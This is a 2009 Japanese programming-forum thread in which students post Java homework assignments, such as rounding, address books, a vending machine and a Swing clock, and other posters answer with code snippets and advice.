new Thread(this).run();
だとスレッド始まらんよ。
new Thread(this).start();
じゃないと。
動かしてないからどうバグってくるのか分からんけど。
447422:2009/05/09(土) 21:50:07
【 課題 】http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/661.zip
【 形態 】1. Javaアプリケーション(main()で開始)
【 GUI  】1. AWTのみ
【 期限 】5月13日
【 Ver  】1.6.0_13
【 補足 】422の再依頼です。
      425さんのおかげで問題Vはできたものの、
      最後の問題Wが一応自分でやってみたものの分からず、全くできません。
      問題Vまでのソース(move訂正済み)、問題文はzipに入ってます。
      よろしくお願いします。
448デフォルトの名無しさん:2009/05/10(日) 10:17:11
ここのスレに入ったらAvast先生がお怒りになったぞ
449デフォルトの名無しさん:2009/05/11(月) 09:28:56
【 課題 】http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/662.zip
【 形態 】1. Javaアプリケーション(main()で開始)
【 GUI  】1. Swing
【 期限 】 5/12
【 Ver  】1.6.0_13
【 補足 】
英語の課題です、
dimension arrayにStringでFirst nameやaddressを入力させ、
検索させるmethodは分かるのですが
スーパークラスの使い方が理解できず、先に進めずにいます
よろしくお願いします

450449:2009/05/11(月) 18:51:36
Suggested methodsをかなり無視した荒い作りですが、
なんとか、要求された動作を満たすものができました

ですが、もしよろしければ後学のためにコードを提示していただけると幸いです

これから書いたものを整形していこうと思います、ありがとうございました
451デフォルトの名無しさん:2009/05/12(火) 05:43:54
>>450
自分がAddressBookとPersonクラスを作ったらこうなったけど、
>dimension arrayにStringでFirst nameやaddressを入力させ、
>検索させるmethodは分かるのですが
>スーパークラスの使い方が理解できず、先に進めずにいます
は理解出来ないままでいる

あと
public AddressBook(String infilename)
//create an AddressBook object from the information in infilename
も良く分からなかった

http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/663.zip
452449:2009/05/12(火) 22:38:04
>>451
理解していなかったのは、<Person>というclassを設定したarrayの動き方でした
未だに理解しているかは怪しいのですが、
とりあえず課題で提示されたmethodを動かすだけは
教科書を読み直してみてなんとか・・・

>>//public AddressBook(String infilename)
txtからアドレス帳を読み込むためのものだと思うのですが・・・

これから検証してみようと思います、ありがとうございました

453デフォルトの名無しさん:2009/05/12(火) 22:58:44
>>452
なるほど、Genericsの事か
>txtからアドレス帳を読み込むためのものだと思うのですが・・・
ごめん、
(1) load a list of persons’ address from a file
って普通に書いてあったの見落として、指示にないなぁと勘違いしてた…

また課題持ってきてね
454デフォルトの名無しさん:2009/05/13(水) 06:18:49
【 課題 】ttp://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/665.txt
【 形態 】5.コマンドプロンプト
【 期限 】5月14日 AM11:00
【 Ver  】1.6.0_07
【 補足 】問題文は英語になってます。
      提出期限は日本時間でお願いします。
      何方かよろしくお願いします。
455デフォルトの名無しさん:2009/05/13(水) 08:11:40
>>454
コイツ、英語読めないんだろうな・・・
456デフォルトの名無しさん:2009/05/13(水) 09:05:38

プロジェクトオイラーの問題8が解けません
っていうか問題の意味がわかりません

【 課題 】http://odz.sakura.ne.jp/projecteuler/index.php?Problem%208
【 形態 】CLI
【 期限 】なし
【 補足 】答えじゃなく問題の意味を教えてください
『5つの連続する数字を取り出してその積を計算する』の
連続する数字の意味がわかりません。

連続する数字
1. 111,22,33333など同じ数字が並ぶ
2. 123,5678,45など昇順で数字が並ぶ
3. 234,543,89,6543 など昇降両方含む
4. 213,214,215などの並んでる数字

以上の4パターンで問題を解いてみたけどどれも不正解でした。

宜しくお願いします。
457デフォルトの名無しさん:2009/05/13(水) 10:08:27
>>456
ググれ
あと、そのサイトの翻訳は読むな。
458デフォルトの名無しさん:2009/05/13(水) 10:57:01
>>456
73167, 31671, ..., 63450
って事じゃないの?分からないけど。
459デフォルトの名無しさん:2009/05/13(水) 11:01:24
(1)中心(0,0)、半径0.5の円を描け
・LineStripArrayを用い、短い直線の連続として円を描く
n(int型)を分割数、r(float型)を半径、Math.PI(double型)を
円周率とすると、円周上のi番目の点の座標値は次式で表される。
x=r*(float) Math.cos(2*Math.PI*i/n);
y=r*(float) Math.sin(2*Math.PI*i/n);
z=0.0f;
 三角関数Math.cos,Math.sinの引数の単位はラジアン(double型)であることに注意。
また、これらはdouble型を返すため、float型にキャストすること
(Mathクラスのフィールド、メソッドはすべてstatic型であるため、これらを利用する場合、
インスタンスを生成する必要はない)

(2)中心(0,0)、半径0.5の円盤(塗りつぶされた円)を描け

という課題がでたんですがどなたかお助けくださいm(_ _)m
460デフォルトの名無しさん:2009/05/13(水) 11:18:48
>>456
答えは?
461デフォルトの名無しさん:2009/05/13(水) 13:53:18
456です 問題解けました。

コメントくださった方 ありがとうございました。

問題があまりにも簡単すぎてそっちの方に頭が回りませんでした。

"five consecutive digits" は 『5つの連続する数字』 じゃないですよね
ひどい訳です。

プログラムは5行くらいで書けて答えもめでたくあいました。
462デフォルトの名無しさん:2009/05/13(水) 19:47:20
>>460 C++/CLI の答えか?
次の1000桁の数列から連続する5個の数を選び、その積が最も大きくなるものを示せ。
463デフォルトの名無しさん:2009/05/13(水) 22:35:12
【 課題 】スタックは、双方向リンクリストを用いても実現可能である。
個人情報データのスタックを実装した http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/666.java を、
不足している部分を補って完成させ、補ったコードと実行結果を
示せ。ただし、このプログラムの実行には http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/656.txt
http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/657.txtが必要である
【 形態 】1. Javaアプリケーション
【 期限 】5/13
【 Ver  】1.6.0_07
【 補足 】どなたかよろしくおねがいします
464デフォルトの名無しさん:2009/05/13(水) 23:36:11
http://down11.ddo.jp/uploader/download/1242225224.txt/attatch
【 課題 】このプログラムをもとに以下のことを実現しなさい
1.学生を管理するためのクラスにおいて、新たにクラス番号、
名前、の変数を増やし、それらの変数を設定できるようにメソッドを変更しなさい。
2.学生を作成する際、初期設定(例えば学籍番号を0に設定する)コンストラクタを
 オーバーロードしなさい。
3.学生クラスのメンバへのアクセスの制限(変数をprivate,メソッドをpublicにする)を行い、
 クラスのカプセル化を行いなさい。
4.学生を登録した際、登録している学生人数がわかるようなクラスメソッドを作成しなさい。
5.QPAが3.0以上の学生がいるかどうかを調べられる。
6.QPAが最大の学生を調べられる。
7.名前を入力するとその学生を検索し、学生情報を出力する。
【 形態 】1. Javaアプリケーション 
【 GUI  】制限なし
【 期限 】5月16日(土)16:00
【 Ver  】java version "1.6.0_13
【 補足 】passはjavaです
7つ全部はできなくてもいいのでできるところだけでも教えていただけると助かります。
      ちょっとはやってみたのですがうまくいかなかったのでどうかお願いします。
465デフォルトの名無しさん:2009/05/14(木) 00:05:25
>>464
くぱぁ
466デフォルトの名無しさん:2009/05/14(木) 14:28:48
ここ学生はDか
467デフォルトの名無しさん:2009/05/15(金) 07:07:17
すいません。
どうか>>404をお願いします。

途中までやってみた、応用課題1の方です。
ttp://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/667.java
弾がどうも変で・・・本当にお願いします><

5月17日までで…
468デフォルトの名無しさん:2009/05/15(金) 17:47:46
テンプレは?
469デフォルトの名無しさん:2009/05/15(金) 17:55:22
なに?
【課題提示用テンプレ】
【 課題 】与えられた課題文をそのまま書きます。 《必須》
【 形態 】1. Javaアプリケーション(main()で開始)/2. Applet/3. Servlet/
       4. 携帯(開発環境のver.必須)/5. その他(明記のこと) 《必ず選択》
【 GUI  】1. AWTのみ/2. Swing/3. SWT/4. 制限なし/ 5. その他(明記すること)
       《GUIの課題の場合必ず選択》
【 期限 】提出期限、解答希望日を書きます。「できるだけ早く」はNG。 《必須》
【 Ver  】コンソールでjava -versionを実行し、その結果を貼ります。 《必須》
【 用語 】数学用語、専門用語の意味、説明を書きます。 《あれば必須》
【 補足 】課題について自分なりに補足する事、何か思う事があれば書きます。
       丸投げでない場合は、途中までのソースとその経過報告、
       質問点、疑問点を書きます(なるべく丸投げにしてください)。
470デフォルトの名無しさん:2009/05/15(金) 18:06:05
>>469
勘違いさせてすまん
>>467=>>404はそろそろテンプレの内容を理解して埋めることができるようになったのかって問いかけのつもりだったんだ
471467=404:2009/05/15(金) 21:40:37
自己解決しました。
サーセンww
472デフォルトの名無しさん:2009/05/15(金) 22:56:45
動くものがあるんだったら逆コンパイルした方が早くないか?
473デフォルトの名無しさん:2009/05/15(金) 23:15:21
>>470
いや、テンプレ通りにしたかったけど分からないからすいませんって言いましたけど?

そんなに意地張って突っ張ねなきゃいけない事なんですか?

474デフォルトの名無しさん:2009/05/15(金) 23:50:12
>>473
そうですね
475デフォルトの名無しさん:2009/05/16(土) 00:07:14
>>473
意地www

何故テンプレというものがあるのか、考えてみたことはありますか?
476デフォルトの名無しさん:2009/05/16(土) 00:35:34
>>475
テンプレの意義について否定はしていませんが?

言い合っていても仕方ないので、一応書いてみました。お願いします。

【課題】
http://web.sfc.keio.ac.jp/~wadari/game/kadai/2009/gp05.html
応用課題1
ボタンを押すと、ラケットから弾が出るようにしてみましょう。
連続で発射できるように、弾は配列で管理するものとします。弾の画像は、img3.png です。
Kadai02フォルダの中のgame.javaを元に挑戦してみましょう。answer02.jar ファイルを開くと、どのようにすれば良いか見ることができます。


応用課題2
応用課題1のように、ボタンを押すとラケットから弾が出るようにします。そして、弾がボールに当たったら、ボールと弾が消えるようにしてください。ボールは左右に動き、端に来たら跳ね返るものとします。

Kadai03フォルダの中のgame.javaを元に挑戦してみましょう。answer03.jar ファイルを開くと、どのようにすれば良いか見ることができます。

【 形態 】Javaアプリケーション
【 期限 】5月17日(日)
【 Ver  】java version "1.6.0_13
【 補足 】ttp://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/667.java
これは自分で途中までやった応用課題1の方です。どうも弾が上手く出ないのです。宜しくお願いします。
477デフォルトの名無しさん:2009/05/16(土) 01:55:26
ただし尻から弾が出る
478デフォルトの名無しさん:2009/05/16(土) 21:01:19
まさかの衛藤ヒロユキ
479デフォルトの名無しさん:2009/05/16(土) 22:25:47
逆切れなんてしてたらいくら丁寧な言葉使っても誰も答えたくなくなるとは思わないんだろうか。

俺問題文読んでないけど
・71, 72行目
配列の初期化と値の代入は違う。あとラケットの位置は可変なんじゃね。
・77行目
条件がコメントと合ってない(インデントがwsだから元からか?)。
・107行目
増分が y 座標そのものだから弾は1単位時間で画面外にぶっ飛ぶだろうね。
480デフォルトの名無しさん:2009/05/16(土) 23:55:28
【 課題 】
モンテカルロ法で円周率を小数第4位まで求
めるプログラムを作成しなさい。
【 形態 】5,コマンドプロント
【 GUI  】4. 制限なし
【 期限 】6/2(金) 
【 Ver  】1.6.0_07 
乱数の初期値を自分で設定するのですがよい初期値がわかりません。よい初期値を出すプログラムも教えていただければ幸いです。
481デフォルトの名無しさん:2009/05/17(日) 01:02:39
>>480
乱数の初期値に良いも悪いもない。
引数を与えずにnew Random()すれば適当に初期化してくれる。
482デフォルトの名無しさん:2009/05/17(日) 09:08:03
モンテカルロ法なんて超メジャーなプログラムぐぐれば幾らでもソース転がってるでしょ。
483デフォルトの名無しさん:2009/05/17(日) 16:28:42
しょうがないから頭が可哀相な子>>476の問題は俺がやってやるから、ちと待ってろ。
484デフォルトの名無しさん:2009/05/17(日) 17:46:01
【課題】3×3の行列を入力させ、逆行列を表示させるプログラムを作成せよ

【形態】5 コマンドプロンプト

【GUI】制限なし

【期限】5/18、14:00まで


お願いしますm(__)m
485デフォルトの名無しさん:2009/05/17(日) 18:44:33
>484
昔作ったやつでよければ。
入力部分はないけどね。
http://www.wikihouse.com/java/index.php?SourcePost____#le5d83b4
486デフォルトの名無しさん:2009/05/17(日) 22:21:19
課題
✦ 下記の要求を満足するような自動販売機をJavaで実装せよ。
✦ 3種類のジュースを販売(リンゴ,オレンジ,コーラ)
✦ リンゴジュースは80円,オレンジジュースは120円,コーラは150円とする
✦ ジュースの在庫は,初期状態では全ての種類で0個とする
✦ ジュースの補充ができること
✦ 投入できる硬貨の種類は10円玉,50円玉,100円玉,500円玉とする
✦ ジュースを購入すると,直ちに釣り銭が出る
✦ 釣り銭は有限である
✦ 釣り銭が不足している場合は購入できない。
✦ 釣り銭の初期値は,自動販売機を具体化する際に,コンストラクタの引数として設定できるようにせよ
✦ 釣り銭は,どの種類の硬貨を何枚出したかが分かるようにすること
の課題をお願いします。
言語:java

487デフォルトの名無しさん:2009/05/17(日) 22:26:22
     *      *
  *     +  いやです
     n ∧_∧ n
 + (ヨ(* ´∀`)E)
      Y     Y    *
488デフォルトの名無しさん:2009/05/17(日) 22:26:55
>>486
テンプレ無視でごたごたした直後だってのに堂々としてるなw
489デフォルトの名無しさん:2009/05/17(日) 23:08:53
課題
✦ 下記の要求を満足するような自動販売機をJavaで実装せよ。
✦ 3種類のジュースを販売(リンゴ,オレンジ,コーラ)
✦ リンゴジュースは80円,オレンジジュースは120円,コーラは150円とする
✦ ジュースの在庫は,初期状態では全ての種類で0個とする
✦ ジュースの補充ができること
✦ 投入できる硬貨の種類は10円玉,50円玉,100円玉,500円玉とする
✦ ジュースを購入すると,直ちに釣り銭が出る
✦ 釣り銭は有限である
✦ 釣り銭が不足している場合は購入できない。
✦ 釣り銭の初期値は,自動販売機を具体化する際に,コンストラクタの引数として設定できるようにせよ
✦ 釣り銭は,どの種類の硬貨を何枚出したかが分かるようにすること
の課題をお願いします。
言語:java

【形態】5 コマンドプロンプト

【GUI】制限なし

【期限】5/18、21:00まで

【 Ver  】Eclipse Java EE Ganymede SR2

【 用語 】特になし
テンプレを無視してしまい申し訳ありませんでした。
よろしくお願いします。
490デフォルトの名無しさん:2009/05/17(日) 23:16:04
クラス図とかある?
491デフォルトの名無しさん:2009/05/17(日) 23:21:01
>>489 クラス図とは何ですか?java初心者のものですいません
492デフォルトの名無しさん:2009/05/17(日) 23:27:26
 >>489 クラスの名前はXjapanでお願いします。関数の変数などはお任せします。
もし検討違いのことを言ってしまっていたらすいません。
493デフォルトの名無しさん:2009/05/17(日) 23:30:43
なんかメンバー変数ににhideとかtoshiとか書いてしまそうだな
494デフォルトの名無しさん:2009/05/17(日) 23:30:49
授業のまとめみたいな感じで総合演習としてクラス設計から実装までやるんじゃないの?
って思ったけど初心者ってことはそうでもないのか。
それともその授業の中で初心者は>>491だけなのか。
495デフォルトの名無しさん:2009/05/17(日) 23:33:47
クラス図わからんということは設計やってないじゃないかい?
496デフォルトの名無しさん:2009/05/17(日) 23:35:05
自分はjava初心者ですが、クラス設計から実装までやるみたいです。
497デフォルトの名無しさん:2009/05/17(日) 23:43:16
一日で全部はきついな
498デフォルトの名無しさん:2009/05/17(日) 23:48:52
>>489
厳しいと思いますが、どうかよろしくお願いします。
499デフォルトの名無しさん:2009/05/18(月) 19:03:35
     *      *
  *     +  いやです
     n ∧_∧ n
 + (ヨ(* ´∀`)E)
      Y     Y    *
500デフォルトの名無しさん:2009/05/18(月) 20:24:25
>489
超急ぎで作ったので今から上げるわー
たぶんバグバグ
501500:2009/05/18(月) 20:30:07
http://www.wikihouse.com/java/index.php?SourcePost__________#n01ad89f
VendingMachine#checkChange()が怪しい。
502デフォルトの名無しさん:2009/05/18(月) 20:54:30
>>489
どうもありがとうございました。とても助かりました。

503デフォルトの名無しさん:2009/05/19(火) 21:13:42
>>502
自レスかよ
504デフォルトの名無しさん:2009/05/19(火) 23:52:46
【 課題 】
@配列を利用しないで、数列An=2^n(n=1,・・・,10)の和の値を
An| < 10^(-5)となるまで計算し求めて出力せよ

A配列を利用して、行列A=(Aij) (Aij=i+j-1,i,j=1,2,3,4,5)をつくり(各成分の値を配列に格納する)
 その値を出力せよ
【 形態 】1. Javaアプリケーション(main()で開始)
【 期限 】5月22日
【 Ver  】1.6.0_11

丸投げで申し訳ないです。
よろしくお願いします。
505デフォルトの名無しさん:2009/05/20(水) 00:24:56
【 課題 】字句解析機の生成
【 形態 】1. Javaアプリケーション(main()で開始)
【 期限 】5月25日(月)
【 Ver  】1.6.0_13
【 補足 】資料のとおりです。サンプルプログラムを改変して作成します。
http://www51.tok2.com/home/rg550/cgi-bin/hosoku.html
ここの字句解析プログラム課題です。
506デフォルトの名無しさん:2009/05/20(水) 15:42:37
前にこのスレで助けてもらった者です

【 課題 】scannerの拡張
【 形態 】1. Javaアプリケーション(main()で開始)
【 期限 】5月21日
【 補足 】
今回も課題丸投げになってしまうんですが
ttp://www51.tok2.com/home/rg550/cgi-bin/hosoku/img0038.zip
フォルダの中のProgramExample-1とTool.javaを使って
al2-2009-04のスライドの最後の課題の1〜4まで(できれば5)です。
al2-2009-03とal2-2009-04の内容を足していくというものです
自分の力では無理でした。どなたかよろしくお願いします
507デフォルトの名無しさん:2009/05/20(水) 23:21:26
【 課題 】四捨五入プログラム
【 形態 】1. Javaアプリケーション(main()で開始)
【 期限 】5/22(金)
【 Ver  】1.5.0_16
【 補足 】
ttp://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/669.zip
四捨五入をするプログラムです。一応すべて書いたのですが、結果が巧く行きません。
本来、小数第一位を四捨五入して4.8になるはずが、4.0になってしまいます。
私の力ではこれ以上は解決できませんでした。よろしくお願いいたします。
508デフォルトの名無しさん:2009/05/20(水) 23:54:08
>>507
rounded と multiplier が両方とも int だからじゃね?
509507:2009/05/21(木) 01:33:04
>>508
なるほど…と思って、どちらもdoubleにしたんですが、今度は少数第9位から値がおかしくなりました…。
少数第7位からmultiplierが1.0E7になり、結果がおかしくなるのは第9位からです…
どうしてここで指数が出てくるんですかorz
510デフォルトの名無しさん:2009/05/21(木) 05:14:37
rounded と multiplier がprintlnされてないから分からない。
511510:2009/05/21(木) 06:28:57
int multiplier = (int) Math.pow(10, 9); // 桁に応じて,10の乗数を求める
System.out.println(multiplier);
double multiplied = value * multiplier; // 乗数をかける
System.out.println(multiplied);
double rounded = (multiplied + 0.5); // 少数第1位で四捨五入する
System.out.println(rounded);
rounded = (int) (multiplied + 0.5); // 少数第1位で四捨五入する
System.out.println(rounded);
double newValue = (double) (rounded / multiplier);// 乗数で割って、数を戻す
// double newValue = rounded / multiplier;// 乗数で割って、数を戻す
512510:2009/05/21(木) 07:04:18
オーバーフロー
multiplied = 4.774625109273738e9;
rounded = (int) (multiplied + 0.5); // 少数第1位で四捨五入する
というか、例外はどうやって発生するの??Javaで。>>507
513デフォルトの名無しさん:2009/05/21(木) 14:22:52
できたがクソースだったorz
514デフォルトの名無しさん:2009/05/21(木) 14:35:28
>>506
http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/670.zip

適当に作ってみた。
動作テストしてないので、あとは自己責任でよろしく。
515510:2009/05/21(木) 18:25:49
>>512
そのあとに、roundedがなぜか2.14〜という値になってしまうのです…
そのあとはずーっと変な値になります
516デフォルトの名無しさん:2009/05/21(木) 18:36:24
>>514さん
ありがとうございます。参考にさせてもらいます。
517デフォルトの名無しさん:2009/05/21(木) 18:36:42
>>507
doubleのままでそういう桁移動のやり方をしていると精度が保てないので変な結果になる可能性がある。
doubleの替わりに必要な精度を保持できるようなデータ構造を使う必要がある。
例えば桁ごとにその値を整数で保持するとか、文字列や文字配列にして四捨五入したい桁の文字で判断するとか。
楽をするならBigDecimalを利用するとか、丸め方が四捨五入だけならFormatterにまかせるとか。
import java.math.BigDecimal;
public class Hoge {
public static void main(String[] args) {
double number = 4.774625109273738;
BigDecimal d = BigDecimal.valueOf(number);
for (int i = 0; i < 15; i++) {
System.out.println("小数第" + i + "位まで四捨五入した結果:" + d.setScale(i, BigDecimal.ROUND_HALF_UP));
}
}
}
public class Moge {
public static void main(String[] args) {
double number = 4.774625109273738;
for (int i = 0; i < 15; i++) {
System.out.println("小数第" + i + "位まで四捨五入した結果:" + String.format("%." + i + "f", number));
}
}
}
518デフォルトの名無しさん:2009/05/21(木) 18:44:25
>>515
気が付いた。
>>511はint multiplier = (int) Math.pow(10, 9);でdouble→intにしてるけど、
intで表現できる桁数がどれくらいか気にしたほうがいい。
519デフォルトの名無しさん:2009/05/21(木) 19:05:02
適当に。
public class Fuga {
public static void main(String[] args) {
double number = 4.774625109273738;
for (int i = 0; i < 15; i++) {
System.out.println("小数第" + i + "位まで四捨五入した結果:" + round(number, i));
}
}
private static double round(double value, int n) {
double multiplier = Math.pow(10, n);
double multiplied = value * multiplier;
double rounded = Math.round(multiplied);
//double rounded = (double)(long)(multiplied + 0.5);//Math.roundを使いたくなければ
double newValue = rounded / multiplier;
return newValue;

}
}
520510:2009/05/21(木) 19:20:03
>>518,519
ありがとうございます…
ヒントを参考に色々といじっていたら、解決しました…!
本当にお世話になりましたm(´・ω・`)m
521デフォルトの名無しさん:2009/05/21(木) 19:26:06
ヒントって答えじゃん
522デフォルトの名無しさん:2009/05/21(木) 20:09:52
>>521
いや、ごめんなさい、519見る前に自己解決してたってことで…
でも本当に恩にきます…
523デフォルトの名無しさん:2009/05/21(木) 22:13:10
【 課題 】x角形の各辺にy次のコッホ曲線を描くプログラムを作成
      (xとyはコマンドライン引数で指定)
【 形態 】1. Javaアプリケーション(main()で開始)
【 GUI  】1. AWT
【 期限 】5月22日
【 補足 】 y次のコッホ曲線の部分はわかったのですが「x角形」にするというところがわかりません
public class Kohho{
public void draw(int x){
Write w= new Write();
w.move(20,200);
w.penDown();
drawKohho(w,100,x);}
public void drawKohho(Write w, int s, int n){
if(n<1){ w.go(s); }
else{ for(int a=60; a<=420; a+=180){
drawKohho(w,s/n,n-1);
t.rotate(a); }
drawKohho(w,s/n,n-1); } }
public static void main(String[] args){
Kohho ko =new Kohho();
int x = Integer.parseInt(args[0]);
ko.draw(x);} }

524デフォルトの名無しさん:2009/05/21(木) 23:39:35
【 課題 】1/1から1/101までの和を分数表示で出力するプログラム
【 形態 】Javaアプリケーション(main()で開始)
【 Ver  】1.6.0_11
【 期限 】5月22日 朝8時
よろしくです。

525デフォルトの名無しさん:2009/05/21(木) 23:48:51
【 課題 】ファイルから配列に数字のみを正しく読み込むプログラム
【 形態 】Javaアプリケーション(main()で開始)
【 Ver  】1.6.0_11
【 期限 】5月22日

http://www51.tok2.com/home/rg550/cgi-bin/hosoku/img0039.zip

よろしくお願いします。
526525補足:2009/05/22(金) 00:07:42
・ファイルはアドレス先にあります。
・それぞれのファイルで別々の配列に格納してください。
527デフォルトの名無しさん:2009/05/22(金) 00:11:28
クソども、どんどんageれ
528デフォルトの名無しさん:2009/05/22(金) 02:51:23
>>524
import java.math.BigInteger;
public class R524 {
public static void main(String[] args) {
BigInteger numerator = BigInteger.ZERO;
BigInteger denominator = BigInteger.ONE;
for (int i = 1; i <= 101; i++) {
BigInteger x = BigInteger.valueOf(i);
numerator = numerator.multiply(x).add(denominator);
denominator = denominator.multiply(x);
BigInteger gcd = denominator.gcd(numerator);
numerator = numerator.divide(gcd);
denominator = denominator.divide(gcd);
}
System.out.println(numerator + " / " + denominator);
}
}
529デフォルトの名無しさん:2009/05/22(金) 11:43:54
【 課題 】http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/671.txt
【 形態 】1. Javaアプリケーション(main()で開始)
【 期限 】5/25
【 補足 】丸投げ

よろしくお願いします
530デフォルトの名無しさん:2009/05/22(金) 13:28:17
>>529
大人が考えたとは思えない言葉足らずの文章なんだけど・・・?
531デフォルトの名無しさん:2009/05/22(金) 18:01:32
>>529
ttp://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/672.java
要求仕様にいろいろ抜けがあるけどあとは先生に聞いて自分で補うなり変更するなりして。
本当は性別や身長とかもクラスのプロパティじゃないかとは思うけど、そう書かれてないし、
Q-4で表示するメソッドの引数としてそうした値を与えるようになってるからやめた。
Q-2も最初はコンストラクタで性別を設定してたけどQ-4に合わせて変更した。
532デフォルトの名無しさん:2009/05/23(土) 03:12:41
【課題提示用テンプレ】 
【 課題 】http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/673.txt
【 形態 】1. Javaアプリケーション(main()で開始)/
【 期限 】5月25日
【 補足 】丸投げです、よろしくお願いします
533デフォルトの名無しさん:2009/05/23(土) 03:23:59
>>532
前回のCircleって奴はどこにあるんだい?
534デフォルトの名無しさん:2009/05/23(土) 12:33:15
【 課題 】http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/674.zip
【 形態 】1. Javaアプリケーション(main()で開始)
【 期限 】5月25日
【 補足 】基本丸投げです。一応講義内容を元に自分なりに途中まで書いてみました。
      エラーが出ている部分がありますが、できましたらその少し追加したプログラムを元に作っていただければ幸いです。
      よろしくお願いします。
535デフォルトの名無しさん:2009/05/23(土) 23:12:17
>>533
失礼しました、こちらになります。。
http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/675.txt
536デフォルトの名無しさん:2009/05/23(土) 23:32:51
ワロタ
537デフォルトの名無しさん:2009/05/24(日) 00:06:54
>>532
6-1だけな。
ファイル名はK6_1.javaに直してくれ。
http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/676.java
538デフォルトの名無しさん:2009/05/24(日) 00:21:24
>>532
6-2:ooxxxox
ただし4番目は捕らえ方によっては○かもしれん。
>>537のソースimportはいらなかった。
539デフォルトの名無しさん:2009/05/24(日) 00:32:09
>>532
6-3。
ファイル名はK6_3.javaに直してくれ。
http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/677.java

あと問題文にはないがcomp()とintersect()も変更した。
540デフォルトの名無しさん:2009/05/24(日) 00:50:44
【 課題 】字句解析機の生成
【 形態 】1. Javaアプリケーション(main()で開始)
【 期限 】5月25日(月)
【 Ver  】1.6.0_13
【 補足 】資料のとおりです。サンプルプログラムを改変して作成します。
http://www51.tok2.com/home/rg550/cgi-bin/hosoku.html
ここの字句解析プログラム課題です。
541デフォルトの名無しさん:2009/05/24(日) 15:11:15
>>540
http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/678.zip

適当に作ってみた。
動作テストしてないので、あとは自己責任でよろしく。
542デフォルトの名無しさん:2009/05/24(日) 16:04:25
>>541
ありがとうございます。後の処理は自己処理をします。
543デフォルトの名無しさん:2009/05/24(日) 21:51:24
【 課題 】n番目のフィボナッチ数列の値を再帰的メソッド,非再帰的メソッドで求めなさい.
【 形態 】1. Javaアプリケーション(main()で開始)
【 期限 】5月25日(月)
【 用語 】フィボナッチ数列は
http://ja.wikipedia.org/wiki/%E3%83%95%E3%82%A3%E3%83%9C%E3%83%8A%E3%83%83%E3%83%81%E6%95%B0
ここにだいたいかいてあります。0, 1, 1, 2, 3, 5, 8, 13,・・・・と続く数列です。 
【 Ver  】1.6.0_13
【 補足 】メソッドが指定されてありますがとりあえず正解の数字が出れば最低点はもらえるらしいので
n番目を指定できるようにしてあって、その数字が当たってれば問題ないです。
よろしくお願いします。
544デフォルトの名無しさん:2009/05/24(日) 22:23:52
545デフォルトの名無しさん:2009/05/25(月) 16:20:30
どなたか>>534をお願いできませんでしょうか?
546532:2009/05/25(月) 22:04:50
答えていただいた方ありがとうございました、引き続き最後の問題のほうよろしくお願いします
547デフォルトの名無しさん:2009/05/26(火) 13:01:33
>>534
二つしか、考えられなかった。
http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/679.zip
548デフォルトの名無しさん:2009/05/26(火) 13:58:18
>>546
public class K6_4 {
public static void main(String[] args) {
// TODO Auto-generated method stub
Rectangle r1 = new Rectangle("r1",3,2);
r1.表示();
Rectangle r2 = new Rectangle("r2",5,3);
r2.表示();
Rectangle r3 = new Rectangle("r3",2,3);
r3.表示();
System.out.println("r1とr2 は面積が等しい:"+r1.equalRectangle(r2));
System.out.println("r1とr3 は面積が等しい:"+r1.equalRectangle(r3));
}

}
class Rectangle{
private String 名前;
private int 縦;
private int 横;
Rectangle(String 名前,int 縦,int 横){
this.名前=名前;this.縦=縦;this.横=横;
}
public int 面積が計算できるメソッド(){
return 縦*横;
}
public void 表示(){
System.out.println("Rectangle="+名前+" x="+横+" y="+縦+" area="+面積が計算できるメソッド());
}
public boolean equalRectangle(Rectangle r){
if(this.面積が計算できるメソッド()==r.面積が計算できるメソッド()){return true;}else{return false;}
}
}
549デフォルトの名無しさん:2009/05/26(火) 14:56:00
【 課題 】swingによるアナログ時計のアニメーション
【 形態 】1. Javaアプリケーション(main()で開始)
【 GUI  】2. Swing
【 Ver  】java version "1.6.0_13"
java(TM) SE Runtime Enviroment (build 1.6.0_13-b03)
java HotSpot(TM) Server VM (build 11.3-b02. mixed mode)
【 補足 】スレッドを作成してそこでjava.util.Calendarから時刻情報を取得して
      時計の針の位置を更新したいのですが、時刻の値(秒)が次の値に
      変化するまでスレッドを休止させておく方法はありませんか?
      今考えているのは無限ループ中で0.1秒おきにsleepと現在の値(秒)との
      比較を行い変化していれば針の更新処理を行うというものです。
      もう少しスマートなやり方はないかと思い質問させていただきました。
      よろしくお願いします。
      
550デフォルトの名無しさん:2009/05/26(火) 15:00:20
sleep
551デフォルトの名無しさん:2009/05/26(火) 15:28:40
>>549
sleepで待つよりもjava.util.Timerやjavax.swing.Timerで
100msごとに再描画するメソッドを呼んでやるほうがスマートじゃないか?
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
public class Tokei extends JComponent implements ActionListener {
public Tokei() { setPreferredSize(new Dimension(150, 100)); }
public void start() { new Timer(100, this).start(); }
public void actionPerformed(ActionEvent e) { repaint(); }
@Override public void paintComponent(Graphics g) {
g.drawString(String.format("%1$tT.%1$tL", System.currentTimeMillis()), 10, 50);
}
public static void main(String[] args) {
SwingUtilities.invokeLater(new Runnable() {
public void run() {
JFrame frame = new JFrame("clock");
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
Tokei tokei = new Tokei();
frame.add(tokei);
tokei.start();
frame.pack();
frame.setVisible(true);
}
});
}
}
上はjavax.swing.Timerを使ってる。
面倒なので文字を描いてるけどpaintComponentでアナログ時計を描けばOK。
552デフォルトの名無しさん:2009/05/26(火) 15:31:17
